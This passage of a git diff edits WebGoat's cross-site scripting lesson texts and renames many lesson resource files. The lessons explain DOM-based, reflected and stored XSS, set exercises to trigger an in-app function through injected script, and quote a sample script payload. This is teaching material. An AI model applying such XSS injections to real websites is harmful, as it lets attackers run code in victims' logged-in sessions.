Reflected and DOM-Based XSS -DOM-based XSS is another form of reflected XSS. Both are triggered by sending a link with inputs that are reflected to the browser. -The difference between DOM and 'traditional' reflected XSS is that, with DOM, the payload will never go to the server. It will only ever be processed by the client. +DOM-based XSS is another form of reflected XSS. Both are triggered by sending a link with inputs reflected in the browser. +The difference between DOM and 'traditional' reflected XSS is that, with DOM, the payload will never go to the server. The client will only ever process it. -* Attacker sends a malicious URL to victim +* Attacker sends a malicious URL to the victim * Victim clicks on the link * That link may load a malicious web page or a web page they use (are logged into?) that has a vulnerable route/handler -* If it's a malicious web page, it may use it's own JavaScript to attack another page/url with a vulnerable route/handler -* The vulnerable page renders the payload and executes attack in the user's context on that page/site +* If it's a malicious web page, it may use its own JavaScript to attack another page/URL with a vulnerable route/handler +* The vulnerable page renders the payload and executes an attack in the user's context on that page/site * Attacker's malicious script may run commands with the privileges of local account -*Victim does not realize attack occurred* ... Malicious attackers don't use <script>alert('xss')</ script> \ No newline at end of file +*Victim does not realize attack occurred* ... Malicious attackers don't use <script>alert('xss')</ script> diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content6a.adoc b/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content6a.adoc index 926abb64d..cdfaf4e17 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content6a.adoc +++ b/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content6a.adoc @@ -1,15 +1,15 @@ == Identify potential for DOM-Based XSS DOM-Based XSS can usually be found by looking for the route configurations in the client-side code. -Look for a route that takes inputs that are being "reflected" to the page. +Look for a route that takes inputs that are "reflected" to the page. For this example, you will want to look for some 'test' code in the route handlers (WebGoat uses backbone as its primary JavaScript library). -Sometimes, test code gets left in production (and often times test code is very simple and lacks security or any quality controls!). +Sometimes, test code gets left in production (and often test code is simple and lacks security or quality controls!). -Your objective is to find the route and exploit it. First though ... what is the base route? As an example, look at the URL for this lesson ... +Your objective is to find the route and exploit it. First though, what is the base route? As an example, look at the URL for this lesson ... it should look something like /WebGoat/start.mvc#lesson/CrossSiteScripting.lesson/9. The 'base route' in this case is: *start.mvc#lesson/* The *CrossSiteScripting.lesson/9* after that are parameters that are processed by the JavaScript route handler. So, what is the route for the test code that stayed in the app during production? -To answer this question, you have to check the JavaScript source. \ No newline at end of file +To answer this question, you have to check the JavaScript source. diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content6b.adoc b/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content6b.adoc index 8bbecc6d0..425b5d865 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content6b.adoc +++ b/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content6b.adoc @@ -1,11 +1,11 @@ == Try It! DOM-Based XSS -Some attacks are "blind". Fortunately, you have the server running here so you will be able to tell if you are successful. -Use the route you just found and see if you can use the fact that it reflects a parameter from the route without encoding to execute an internal function in WebGoat. -The function you want to execute is ... +Some attacks are "blind." Fortunately, you have the server running here, so you can tell if you are successful. +Use the route you just found and see if you can use it to reflect a parameter from the route without encoding to execute an internal function in WebGoat. +The function you want to execute is: *webgoat.customjs.phoneHome()* -Sure, you could just use console/debug to trigger it, but you need to trigger it via a URL in a new tab. +Sure, you could use console/debug to trigger it, but you need to trigger it via a URL in a new tab. -Once you do trigger it, a subsequent response will come to your browser's console with a random number. Put that random number in below. +Once you trigger it, a subsequent response will come to your browser's console with a random number. Put that random number below. diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content7.adoc b/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content7.adoc index 0abda67c5..5e2283b64 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content7.adoc +++ b/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content7.adoc @@ -1,8 +1,8 @@ == Stored XSS -Stored Cross-Site Scripting is different in that the payload is persisted (stored) as opposed to passed/injected via a link. +Stored Cross-Site Scripting is different in that the payload is persisted (stored) instead of passed/injected via a link. == Stored XSS Scenario -* Attacker posts malicious script to a message board +* Attacker posts malicious script to a message board * Message is stored in a server database * Victim reads the message * The malicious script embedded in the message board post executes in the victim’s browser diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content7b.adoc b/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content7b.adoc index 66141dec2..9177f62fb 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content7b.adoc +++ b/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content7b.adoc @@ -2,5 +2,5 @@ See the comments below. Add a comment with a JavaScript payload. Again ... you want to call the _webgoat.customjs.phoneHome_ function. -As an attacker (offensive security), keep in mind that most apps are not going to have such a straight-forwardly named compromise. -Also, you may have to find a way to load your own JavaScript dynamically to fully achieve goals of extracting data. \ No newline at end of file +As an attacker (offensive security), keep in mind that most apps will not have such a straightforwardly named compromise. +Also, you may have to find a way to load your JavaScript dynamically to achieve the goal of extracting data fully. diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content7c.adoc b/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content7c.adoc index 35a567a5b..2ff962c7b 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content7c.adoc +++ b/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content7c.adoc @@ -1,3 +1,3 @@ Watching in your browser's developer tools or your proxy, the output should include a value starting with 'phoneHome Response is ...." -Put that value in below to complete this exercise. Note that, each subsequent call to the _phoneHome_ method will change that value. -You may need to ensure you have the most recent one. \ No newline at end of file +Put that value below to complete this exercise. Note that each subsequent call to the _phoneHome_ method will change that value. +You may need to ensure you have the most recent one. diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content8.adoc b/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content8.adoc index a06f449e8..acf83840a 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content8.adoc +++ b/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content8.adoc @@ -2,26 +2,26 @@ === Why? -Hopefully we have covered that by now. Bottom line, you do not want someone else's code running in the context of your users and their logged-in session +Hopefully, we have covered that by now. Bottom line, you do not want someone else's code running in the context of your users and their logged-in session === What to encode? -The basic premise of defending against XSS is *output encoding* any untrusted input that goes to the screen. +The basic premise of defending against XSS is *output encoding* any untrusted input to the screen. That may be changing with more sophisticated attacks, but it is still the best defense we currently have. *AND* ... *context matters* -Another word on 'untrusted input'. If in doubt, treat everything (even data you populated in your DB as untrusted). -Sometimes data is shared across multiple systems and what you think is your data, may not have been created by you/your team. +Another word on 'untrusted input.' If in doubt, treat everything (even data you populated in your DB as untrusted). +Sometimes data is shared across multiple systems, and what you think is your data may not have been created by you/your team. === When/Where? Encode *as the data is sent to the browser* (not in your persisted data). In the case of *Single Page Apps (SPA's), you will need to encode -in the client*. Consult your framework/library for me details, but some resources will be provided on the next page. +in the client*. Consult your framework/library for details, but some resources will be provided on the next page. === How? - * Encode as HTML Entities in HTML Body - * Encode as HTML Entities in HTML Attribute - * Encode for JavaScript if outputting user input to JavaScript (but think about that ... you are outputting user input into JavaScript on your page!!) +* Encode as HTML Entities in HTML Body +* Encode as HTML Entities in HTML Attribute +* Encode for JavaScript if outputting user input to JavaScript (but think about that ... you are outputting user input into JavaScript on your page!!) *DO NOT* try to blacklist/negative filter on strings like '
@@ -120,4 +120,4 @@
- \ No newline at end of file + diff --git a/webgoat-lessons/challenge/src/main/resources/html/Challenge7.html b/src/main/resources/lessons/challenges/html/Challenge7.html similarity index 97% rename from webgoat-lessons/challenge/src/main/resources/html/Challenge7.html rename to src/main/resources/lessons/challenges/html/Challenge7.html index 0bf8601fb..dec4331b1 100644 --- a/webgoat-lessons/challenge/src/main/resources/html/Challenge7.html +++ b/src/main/resources/lessons/challenges/html/Challenge7.html @@ -12,7 +12,7 @@ f94008f801fceb8833a30fe56a8b26976347edcf First version of WebGoat Cloud website
-
+
@@ -78,4 +78,4 @@ f94008f801fceb8833a30fe56a8b26976347edcf First version of WebGoat Cloud website
- \ No newline at end of file + diff --git a/webgoat-lessons/challenge/src/main/resources/html/Challenge8.html b/src/main/resources/lessons/challenges/html/Challenge8.html similarity index 99% rename from webgoat-lessons/challenge/src/main/resources/html/Challenge8.html rename to src/main/resources/lessons/challenges/html/Challenge8.html index efaed5c85..989977d2d 100644 --- a/webgoat-lessons/challenge/src/main/resources/html/Challenge8.html +++ b/src/main/resources/lessons/challenges/html/Challenge8.html @@ -3,7 +3,7 @@
-
+
@@ -252,4 +252,4 @@
- \ No newline at end of file + diff --git a/webgoat-lessons/challenge/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/challenges/i18n/WebGoatLabels.properties similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/challenges/i18n/WebGoatLabels.properties diff --git a/webgoat-lessons/challenge/src/main/resources/images/avatar1.png b/src/main/resources/lessons/challenges/images/avatar1.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/avatar1.png rename to src/main/resources/lessons/challenges/images/avatar1.png diff --git a/webgoat-lessons/challenge/src/main/resources/images/boss.jpg b/src/main/resources/lessons/challenges/images/boss.jpg similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/boss.jpg rename to src/main/resources/lessons/challenges/images/boss.jpg diff --git a/webgoat-lessons/challenge/src/main/resources/images/challenge1-small.png b/src/main/resources/lessons/challenges/images/challenge1-small.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/challenge1-small.png rename to src/main/resources/lessons/challenges/images/challenge1-small.png diff --git a/webgoat-lessons/challenge/src/main/resources/images/challenge1.png b/src/main/resources/lessons/challenges/images/challenge1.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/challenge1.png rename to src/main/resources/lessons/challenges/images/challenge1.png diff --git a/webgoat-lessons/challenge/src/main/resources/images/challenge2-small.png b/src/main/resources/lessons/challenges/images/challenge2-small.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/challenge2-small.png rename to src/main/resources/lessons/challenges/images/challenge2-small.png diff --git a/webgoat-lessons/challenge/src/main/resources/images/challenge2.png b/src/main/resources/lessons/challenges/images/challenge2.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/challenge2.png rename to src/main/resources/lessons/challenges/images/challenge2.png diff --git a/webgoat-lessons/challenge/src/main/resources/images/challenge3-small.png b/src/main/resources/lessons/challenges/images/challenge3-small.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/challenge3-small.png rename to src/main/resources/lessons/challenges/images/challenge3-small.png diff --git a/webgoat-lessons/challenge/src/main/resources/images/challenge3.png b/src/main/resources/lessons/challenges/images/challenge3.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/challenge3.png rename to src/main/resources/lessons/challenges/images/challenge3.png diff --git a/webgoat-lessons/challenge/src/main/resources/images/challenge4-small.png b/src/main/resources/lessons/challenges/images/challenge4-small.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/challenge4-small.png rename to src/main/resources/lessons/challenges/images/challenge4-small.png diff --git a/webgoat-lessons/challenge/src/main/resources/images/challenge4.png b/src/main/resources/lessons/challenges/images/challenge4.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/challenge4.png rename to src/main/resources/lessons/challenges/images/challenge4.png diff --git a/webgoat-lessons/challenge/src/main/resources/images/challenge5-small.png b/src/main/resources/lessons/challenges/images/challenge5-small.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/challenge5-small.png rename to src/main/resources/lessons/challenges/images/challenge5-small.png diff --git a/webgoat-lessons/challenge/src/main/resources/images/challenge5.png b/src/main/resources/lessons/challenges/images/challenge5.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/challenge5.png rename to src/main/resources/lessons/challenges/images/challenge5.png diff --git a/webgoat-lessons/challenge/src/main/resources/images/hi-five-cat.jpg b/src/main/resources/lessons/challenges/images/hi-five-cat.jpg similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/hi-five-cat.jpg rename to src/main/resources/lessons/challenges/images/hi-five-cat.jpg diff --git a/webgoat-lessons/challenge/src/main/resources/images/user1.png b/src/main/resources/lessons/challenges/images/user1.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/user1.png rename to src/main/resources/lessons/challenges/images/user1.png diff --git a/webgoat-lessons/challenge/src/main/resources/images/user2.png b/src/main/resources/lessons/challenges/images/user2.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/user2.png rename to src/main/resources/lessons/challenges/images/user2.png diff --git a/webgoat-lessons/challenge/src/main/resources/images/user3.png b/src/main/resources/lessons/challenges/images/user3.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/user3.png rename to src/main/resources/lessons/challenges/images/user3.png diff --git a/webgoat-lessons/challenge/src/main/resources/images/webgoat2.png b/src/main/resources/lessons/challenges/images/webgoat2.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/webgoat2.png rename to src/main/resources/lessons/challenges/images/webgoat2.png diff --git a/webgoat-lessons/challenge/src/main/resources/js/bootstrap.min.js b/src/main/resources/lessons/challenges/js/bootstrap.min.js similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/js/bootstrap.min.js rename to src/main/resources/lessons/challenges/js/bootstrap.min.js diff --git a/webgoat-lessons/challenge/src/main/resources/js/challenge6.js b/src/main/resources/lessons/challenges/js/challenge6.js similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/js/challenge6.js rename to src/main/resources/lessons/challenges/js/challenge6.js diff --git a/webgoat-lessons/challenge/src/main/resources/js/challenge8.js b/src/main/resources/lessons/challenges/js/challenge8.js similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/js/challenge8.js rename to src/main/resources/lessons/challenges/js/challenge8.js diff --git a/webgoat-lessons/chrome-dev-tools/src/main/resources/lessonPlans/en/ChromeDevTools_Assignment.adoc b/src/main/resources/lessons/chrome_dev_tools/documentation/ChromeDevTools_Assignment.adoc similarity index 100% rename from webgoat-lessons/chrome-dev-tools/src/main/resources/lessonPlans/en/ChromeDevTools_Assignment.adoc rename to src/main/resources/lessons/chrome_dev_tools/documentation/ChromeDevTools_Assignment.adoc diff --git a/webgoat-lessons/chrome-dev-tools/src/main/resources/lessonPlans/en/ChromeDevTools_Assignment_Network.adoc b/src/main/resources/lessons/chrome_dev_tools/documentation/ChromeDevTools_Assignment_Network.adoc similarity index 100% rename from webgoat-lessons/chrome-dev-tools/src/main/resources/lessonPlans/en/ChromeDevTools_Assignment_Network.adoc rename to src/main/resources/lessons/chrome_dev_tools/documentation/ChromeDevTools_Assignment_Network.adoc diff --git a/webgoat-lessons/chrome-dev-tools/src/main/resources/lessonPlans/en/ChromeDevTools_console.adoc b/src/main/resources/lessons/chrome_dev_tools/documentation/ChromeDevTools_console.adoc similarity index 100% rename from webgoat-lessons/chrome-dev-tools/src/main/resources/lessonPlans/en/ChromeDevTools_console.adoc rename to src/main/resources/lessons/chrome_dev_tools/documentation/ChromeDevTools_console.adoc diff --git a/webgoat-lessons/chrome-dev-tools/src/main/resources/lessonPlans/en/ChromeDevTools_elements.adoc b/src/main/resources/lessons/chrome_dev_tools/documentation/ChromeDevTools_elements.adoc similarity index 100% rename from webgoat-lessons/chrome-dev-tools/src/main/resources/lessonPlans/en/ChromeDevTools_elements.adoc rename to src/main/resources/lessons/chrome_dev_tools/documentation/ChromeDevTools_elements.adoc diff --git a/webgoat-lessons/chrome-dev-tools/src/main/resources/lessonPlans/en/ChromeDevTools_intro.adoc b/src/main/resources/lessons/chrome_dev_tools/documentation/ChromeDevTools_intro.adoc similarity index 100% rename from webgoat-lessons/chrome-dev-tools/src/main/resources/lessonPlans/en/ChromeDevTools_intro.adoc rename to src/main/resources/lessons/chrome_dev_tools/documentation/ChromeDevTools_intro.adoc diff --git a/webgoat-lessons/chrome-dev-tools/src/main/resources/lessonPlans/en/ChromeDevTools_sources.adoc b/src/main/resources/lessons/chrome_dev_tools/documentation/ChromeDevTools_sources.adoc similarity index 100% rename from webgoat-lessons/chrome-dev-tools/src/main/resources/lessonPlans/en/ChromeDevTools_sources.adoc rename to src/main/resources/lessons/chrome_dev_tools/documentation/ChromeDevTools_sources.adoc diff --git a/webgoat-lessons/chrome-dev-tools/src/main/resources/html/ChromeDevTools.html b/src/main/resources/lessons/chrome_dev_tools/html/ChromeDevTools.html similarity index 78% rename from webgoat-lessons/chrome-dev-tools/src/main/resources/html/ChromeDevTools.html rename to src/main/resources/lessons/chrome_dev_tools/html/ChromeDevTools.html index 9102a5f3e..db4506fa0 100644 --- a/webgoat-lessons/chrome-dev-tools/src/main/resources/html/ChromeDevTools.html +++ b/src/main/resources/lessons/chrome_dev_tools/html/ChromeDevTools.html @@ -4,22 +4,22 @@
-
+
-
+
-
+
-
+
-
+
-
+
- \ No newline at end of file + diff --git a/webgoat-lessons/chrome-dev-tools/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/chrome_dev_tools/i18n/WebGoatLabels.properties similarity index 100% rename from webgoat-lessons/chrome-dev-tools/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/chrome_dev_tools/i18n/WebGoatLabels.properties diff --git a/webgoat-lessons/chrome-dev-tools/src/main/resources/images/ChromeDev_Console_Clear.jpg b/src/main/resources/lessons/chrome_dev_tools/images/ChromeDev_Console_Clear.jpg similarity index 100% rename from webgoat-lessons/chrome-dev-tools/src/main/resources/images/ChromeDev_Console_Clear.jpg rename to src/main/resources/lessons/chrome_dev_tools/images/ChromeDev_Console_Clear.jpg diff --git a/webgoat-lessons/chrome-dev-tools/src/main/resources/images/ChromeDev_Console_Ex.jpg b/src/main/resources/lessons/chrome_dev_tools/images/ChromeDev_Console_Ex.jpg similarity index 100% rename from webgoat-lessons/chrome-dev-tools/src/main/resources/images/ChromeDev_Console_Ex.jpg rename to src/main/resources/lessons/chrome_dev_tools/images/ChromeDev_Console_Ex.jpg diff --git a/webgoat-lessons/chrome-dev-tools/src/main/resources/images/ChromeDev_Elements.jpg b/src/main/resources/lessons/chrome_dev_tools/images/ChromeDev_Elements.jpg similarity index 100% rename from webgoat-lessons/chrome-dev-tools/src/main/resources/images/ChromeDev_Elements.jpg rename to src/main/resources/lessons/chrome_dev_tools/images/ChromeDev_Elements.jpg diff --git a/webgoat-lessons/chrome-dev-tools/src/main/resources/images/ChromeDev_Elements_CSS.jpg b/src/main/resources/lessons/chrome_dev_tools/images/ChromeDev_Elements_CSS.jpg similarity index 100% rename from webgoat-lessons/chrome-dev-tools/src/main/resources/images/ChromeDev_Elements_CSS.jpg rename to src/main/resources/lessons/chrome_dev_tools/images/ChromeDev_Elements_CSS.jpg diff --git a/webgoat-lessons/chrome-dev-tools/src/main/resources/images/ChromeDev_Network.jpg b/src/main/resources/lessons/chrome_dev_tools/images/ChromeDev_Network.jpg similarity index 100% rename from webgoat-lessons/chrome-dev-tools/src/main/resources/images/ChromeDev_Network.jpg rename to src/main/resources/lessons/chrome_dev_tools/images/ChromeDev_Network.jpg diff --git a/webgoat-lessons/chrome-dev-tools/src/main/resources/images/ChromeDev_Sources.jpg b/src/main/resources/lessons/chrome_dev_tools/images/ChromeDev_Sources.jpg similarity index 100% rename from webgoat-lessons/chrome-dev-tools/src/main/resources/images/ChromeDev_Sources.jpg rename to src/main/resources/lessons/chrome_dev_tools/images/ChromeDev_Sources.jpg diff --git a/webgoat-lessons/cia/src/main/resources/lessonPlans/en/CIA_availability.adoc b/src/main/resources/lessons/cia/documentation/CIA_availability.adoc similarity index 100% rename from webgoat-lessons/cia/src/main/resources/lessonPlans/en/CIA_availability.adoc rename to src/main/resources/lessons/cia/documentation/CIA_availability.adoc diff --git a/webgoat-lessons/cia/src/main/resources/lessonPlans/en/CIA_confidentiality.adoc b/src/main/resources/lessons/cia/documentation/CIA_confidentiality.adoc similarity index 100% rename from webgoat-lessons/cia/src/main/resources/lessonPlans/en/CIA_confidentiality.adoc rename to src/main/resources/lessons/cia/documentation/CIA_confidentiality.adoc diff --git a/webgoat-lessons/cia/src/main/resources/lessonPlans/en/CIA_integrity.adoc b/src/main/resources/lessons/cia/documentation/CIA_integrity.adoc similarity index 100% rename from webgoat-lessons/cia/src/main/resources/lessonPlans/en/CIA_integrity.adoc rename to src/main/resources/lessons/cia/documentation/CIA_integrity.adoc diff --git a/webgoat-lessons/cia/src/main/resources/lessonPlans/en/CIA_intro.adoc b/src/main/resources/lessons/cia/documentation/CIA_intro.adoc similarity index 100% rename from webgoat-lessons/cia/src/main/resources/lessonPlans/en/CIA_intro.adoc rename to src/main/resources/lessons/cia/documentation/CIA_intro.adoc diff --git a/webgoat-lessons/cia/src/main/resources/lessonPlans/en/CIA_quiz.adoc b/src/main/resources/lessons/cia/documentation/CIA_quiz.adoc similarity index 100% rename from webgoat-lessons/cia/src/main/resources/lessonPlans/en/CIA_quiz.adoc rename to src/main/resources/lessons/cia/documentation/CIA_quiz.adoc diff --git a/webgoat-lessons/cia/src/main/resources/html/CIA.html b/src/main/resources/lessons/cia/html/CIA.html similarity index 70% rename from webgoat-lessons/cia/src/main/resources/html/CIA.html rename to src/main/resources/lessons/cia/html/CIA.html index 0a73520be..219ce0e08 100644 --- a/webgoat-lessons/cia/src/main/resources/html/CIA.html +++ b/src/main/resources/lessons/cia/html/CIA.html @@ -3,19 +3,19 @@
-
+
-
+
-
+
-
+
@@ -23,7 +23,7 @@ -
+
@@ -40,4 +40,4 @@
- \ No newline at end of file + diff --git a/webgoat-lessons/cia/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/cia/i18n/WebGoatLabels.properties similarity index 100% rename from webgoat-lessons/cia/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/cia/i18n/WebGoatLabels.properties diff --git a/webgoat-lessons/cia/src/main/resources/js/questions_cia.json b/src/main/resources/lessons/cia/js/questions_cia.json similarity index 100% rename from webgoat-lessons/cia/src/main/resources/js/questions_cia.json rename to src/main/resources/lessons/cia/js/questions_cia.json diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/css/clientSideFiltering-stage1.css b/src/main/resources/lessons/client_side_filtering/css/clientSideFiltering-stage1.css similarity index 100% rename from webgoat-lessons/client-side-filtering/src/main/resources/css/clientSideFiltering-stage1.css rename to src/main/resources/lessons/client_side_filtering/css/clientSideFiltering-stage1.css diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/css/clientSideFilteringFree.css b/src/main/resources/lessons/client_side_filtering/css/clientSideFilteringFree.css similarity index 100% rename from webgoat-lessons/client-side-filtering/src/main/resources/css/clientSideFilteringFree.css rename to src/main/resources/lessons/client_side_filtering/css/clientSideFilteringFree.css diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/lessonPlans/en/ClientSideFiltering_assignment.adoc b/src/main/resources/lessons/client_side_filtering/documentation/ClientSideFiltering_assignment.adoc similarity index 100% rename from webgoat-lessons/client-side-filtering/src/main/resources/lessonPlans/en/ClientSideFiltering_assignment.adoc rename to src/main/resources/lessons/client_side_filtering/documentation/ClientSideFiltering_assignment.adoc diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/lessonPlans/en/ClientSideFiltering_final.adoc b/src/main/resources/lessons/client_side_filtering/documentation/ClientSideFiltering_final.adoc similarity index 100% rename from webgoat-lessons/client-side-filtering/src/main/resources/lessonPlans/en/ClientSideFiltering_final.adoc rename to src/main/resources/lessons/client_side_filtering/documentation/ClientSideFiltering_final.adoc diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/lessonPlans/en/ClientSideFiltering_plan.adoc b/src/main/resources/lessons/client_side_filtering/documentation/ClientSideFiltering_plan.adoc similarity index 100% rename from webgoat-lessons/client-side-filtering/src/main/resources/lessonPlans/en/ClientSideFiltering_plan.adoc rename to src/main/resources/lessons/client_side_filtering/documentation/ClientSideFiltering_plan.adoc diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/html/ClientSideFiltering.html b/src/main/resources/lessons/client_side_filtering/html/ClientSideFiltering.html similarity index 95% rename from webgoat-lessons/client-side-filtering/src/main/resources/html/ClientSideFiltering.html rename to src/main/resources/lessons/client_side_filtering/html/ClientSideFiltering.html index 8c664388a..e9f3ec18e 100644 --- a/webgoat-lessons/client-side-filtering/src/main/resources/html/ClientSideFiltering.html +++ b/src/main/resources/lessons/client_side_filtering/html/ClientSideFiltering.html @@ -2,10 +2,10 @@
-
+
-
+

@@ -74,7 +74,7 @@
-
+
diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/client_side_filtering/i18n/WebGoatLabels.properties similarity index 100% rename from webgoat-lessons/client-side-filtering/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/client_side_filtering/i18n/WebGoatLabels.properties diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/images/lesson1_header.jpg b/src/main/resources/lessons/client_side_filtering/images/lesson1_header.jpg similarity index 100% rename from webgoat-lessons/client-side-filtering/src/main/resources/images/lesson1_header.jpg rename to src/main/resources/lessons/client_side_filtering/images/lesson1_header.jpg diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/images/lesson1_workspace.jpg b/src/main/resources/lessons/client_side_filtering/images/lesson1_workspace.jpg similarity index 100% rename from webgoat-lessons/client-side-filtering/src/main/resources/images/lesson1_workspace.jpg rename to src/main/resources/lessons/client_side_filtering/images/lesson1_workspace.jpg diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/images/samsung-black.jpg b/src/main/resources/lessons/client_side_filtering/images/samsung-black.jpg similarity index 100% rename from webgoat-lessons/client-side-filtering/src/main/resources/images/samsung-black.jpg rename to src/main/resources/lessons/client_side_filtering/images/samsung-black.jpg diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/images/samsung-grey.jpg b/src/main/resources/lessons/client_side_filtering/images/samsung-grey.jpg similarity index 100% rename from webgoat-lessons/client-side-filtering/src/main/resources/images/samsung-grey.jpg rename to src/main/resources/lessons/client_side_filtering/images/samsung-grey.jpg diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/js/clientSideFiltering.js b/src/main/resources/lessons/client_side_filtering/js/clientSideFiltering.js similarity index 100% rename from webgoat-lessons/client-side-filtering/src/main/resources/js/clientSideFiltering.js rename to src/main/resources/lessons/client_side_filtering/js/clientSideFiltering.js diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/js/clientSideFilteringFree.js b/src/main/resources/lessons/client_side_filtering/js/clientSideFilteringFree.js similarity index 100% rename from webgoat-lessons/client-side-filtering/src/main/resources/js/clientSideFilteringFree.js rename to src/main/resources/lessons/client_side_filtering/js/clientSideFilteringFree.js diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/lessonSolutions/en/ClientSideFiltering.html b/src/main/resources/lessons/client_side_filtering/lessonSolutions/en/ClientSideFiltering.html similarity index 100% rename from webgoat-lessons/client-side-filtering/src/main/resources/lessonSolutions/en/ClientSideFiltering.html rename to src/main/resources/lessons/client_side_filtering/lessonSolutions/en/ClientSideFiltering.html diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/lessonSolutions/en/ClientSideFiltering_files/clientside_firebug.jpg b/src/main/resources/lessons/client_side_filtering/lessonSolutions/en/ClientSideFiltering_files/clientside_firebug.jpg similarity index 100% rename from webgoat-lessons/client-side-filtering/src/main/resources/lessonSolutions/en/ClientSideFiltering_files/clientside_firebug.jpg rename to src/main/resources/lessons/client_side_filtering/lessonSolutions/en/ClientSideFiltering_files/clientside_firebug.jpg diff --git a/webgoat-lessons/crypto/src/main/resources/lessonPlans/en/Crypto_plan.adoc b/src/main/resources/lessons/cryptography/documentation/Crypto_plan.adoc similarity index 100% rename from webgoat-lessons/crypto/src/main/resources/lessonPlans/en/Crypto_plan.adoc rename to src/main/resources/lessons/cryptography/documentation/Crypto_plan.adoc diff --git a/webgoat-lessons/crypto/src/main/resources/lessonPlans/en/defaults.adoc b/src/main/resources/lessons/cryptography/documentation/defaults.adoc similarity index 100% rename from webgoat-lessons/crypto/src/main/resources/lessonPlans/en/defaults.adoc rename to src/main/resources/lessons/cryptography/documentation/defaults.adoc diff --git a/webgoat-lessons/crypto/src/main/resources/lessonPlans/en/encoding_plan.adoc b/src/main/resources/lessons/cryptography/documentation/encoding_plan.adoc similarity index 100% rename from webgoat-lessons/crypto/src/main/resources/lessonPlans/en/encoding_plan.adoc rename to src/main/resources/lessons/cryptography/documentation/encoding_plan.adoc diff --git a/webgoat-lessons/crypto/src/main/resources/lessonPlans/en/encoding_plan2.adoc b/src/main/resources/lessons/cryptography/documentation/encoding_plan2.adoc similarity index 100% rename from webgoat-lessons/crypto/src/main/resources/lessonPlans/en/encoding_plan2.adoc rename to src/main/resources/lessons/cryptography/documentation/encoding_plan2.adoc diff --git a/webgoat-lessons/crypto/src/main/resources/lessonPlans/en/encryption.adoc b/src/main/resources/lessons/cryptography/documentation/encryption.adoc similarity index 100% 